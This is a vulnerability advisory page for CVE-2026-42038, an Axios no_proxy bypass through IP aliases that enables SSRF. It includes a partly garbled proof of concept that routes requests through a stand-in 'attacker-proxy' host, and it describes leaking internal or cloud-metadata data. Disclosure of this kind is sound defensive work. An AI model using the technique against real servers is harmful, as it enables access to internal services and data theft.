CVE-2026-42038: Axios: no_proxy bypass via IP alias allows SSRF

Published Apr 24, 2026
·
Updated

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Other sources

The fix for noproxy hostname normalization bypass (#10661) is incomplete.When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - noproxy=localhost does NOT block 127.0.0.1 or [::1] - noproxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.noproxy = 'localhost'; process.env.httpproxy = 'http://attacker-proxy:8888';

(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.httpproxy = 'http://127.0.0.1:8888';

console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); }

console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); }

fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777.

<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />

Impact: In server-side environments where noproxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

GitHub

Affected Software

7 affected componentsFixes available
npm/axios<1.15.1, <0.31.1
Axios Axios Node.js<0.31.1
Axios Axios Node.js>=1.0.0<1.15.1
npm/axios<=0.31.0
0.31.1
npm/axios>=1.0.0<1.15.1
1.15.1
IBM Db2 Genius Hub<=1.1, 1.1.1, 1.1.2
IBM Agentics<=1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/axios to a version that resolves this vulnerability.

    Fixed in 0.31.1
  2. Upgrade

    Upgrade npm/axios to a version that resolves this vulnerability.

    Fixed in 1.15.1
  3. Upgrade

    Upgrade Axios to a version that resolves this vulnerability.

    Fixed in 1.15.1
  4. Upgrade

    Upgrade Axios (0.31.x line) to a version that resolves this vulnerability.

    Fixed in 0.31.1

Event History

Apr 24, 2026
CVE Published
via MITRE·05:57 PM
Data Sourced
via MITRE·05:57 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
May 5, 2026
Advisory Published
via GitHub·12:40 AM
Data Sourced
via GitHub·12:40 AM
DescriptionSeverityWeaknessAffected Software
Jul 13, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-42038?

CVE-2026-42038 has a medium severity rating due to its potential for allowing server-side request forgery (SSRF) attacks.

2

How do I fix CVE-2026-42038?

To fix CVE-2026-42038, upgrade Axios to version 1.15.1 or later, or 0.31.1 or later.

3

What systems are impacted by CVE-2026-42038?

CVE-2026-42038 impacts Axios versions prior to 1.15.1 and 0.31.1 on both browser and Node.js environments.

4

What does CVE-2026-42038 affect in Axios?

CVE-2026-42038 affects the no_proxy hostname normalization, allowing IP alias bypass that can lead to SSRF vulnerability.

5

Is there a workaround for CVE-2026-42038?

There is no official workaround for CVE-2026-42038; upgrading to the fixed versions is the recommended approach.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203